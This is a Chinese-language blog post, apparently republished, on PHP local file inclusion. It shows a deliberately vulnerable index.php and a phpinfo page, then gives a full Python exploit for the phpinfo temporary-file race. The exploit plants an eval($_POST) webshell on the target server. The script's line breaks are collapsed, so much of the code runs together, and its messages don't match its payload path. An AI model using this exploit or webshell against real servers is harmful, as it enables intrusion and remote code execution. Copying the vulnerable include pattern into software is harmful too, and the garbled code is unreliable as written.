文件包含奇技淫巧

本文主要是介绍文件包含奇技淫巧，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

未完成

一个项目中遇到的漏洞

环境搭建

index.php

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

<?php
phpinfo();
?>

代码分析

首先我们要读取flag，想要直接include包含flag，但是flag被过滤了。然后想要使用php://input也无法使用因为。allow_url_fopen、allow_url_include这两个属性没有都On

然后dir是进行目录扫描的，扫描我们的临时文件。看到临时文件我们可以有这个么思路，我们可以在生成临时文件的时候进行竞争，在没删掉之前就包含成功。或者在生成临时文件的时候让那个php文件停下来。

在这里有一个phpinfo的页面

这里有一个想法就是在header头部填充数据，然后phpinfo会打印我们的header头部，这样让进程走的慢一些，然后在没打印完成时是不会删除临时文件的。然后我们想办法包含这个文件就可以了。这里是一个线程不停的在phpinfo发送垃圾数据，一个线程在index.php不断地包含文件。

脚本

#!/usr/bin/python
import sys
import threading
import socket
import timedef setup(host, port):TAG = "Security Test"PAYLOAD = """%s\r<?php fputs(fopen('../../shellaaaaa.php','w'),'<?php @eval($_POST[a]);')?>\r""" % TAGREQ1_DATA = """-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOADpadding = "A" * 5000REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """ + padding + """\rHTTP_ACCEPT_LANGUAGE: """ + padding + """\rHTTP_PRAGMA: """ + padding + """\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" % (len(REQ1_DATA), host, REQ1_DATA)# modify this to suit the LFI scriptLFIREQ = """GET /lfi.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r"""return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt; ")fn = d[i + 17:i + 44]except ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter = 0class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = args
//shell运行成功会到这里def run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter += 1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print "\nGot it! Shell created in /tmp/g"self.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d += iif i == "":break# detect the final chunkif i.endswith("0\r\n\r\n"):breaks.close()i = d.find("[tmp_name] =&gt; ")if i == -1:
//临时文件没找到raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i + 10], i)# padded up a bitreturn i + 256def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port = 80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz = 10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0, poolsz):tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot!  \m/"else:print ":("except KeyboardInterrupt:print "\nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__ == "__main__":main()

这篇关于文件包含奇技淫巧的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---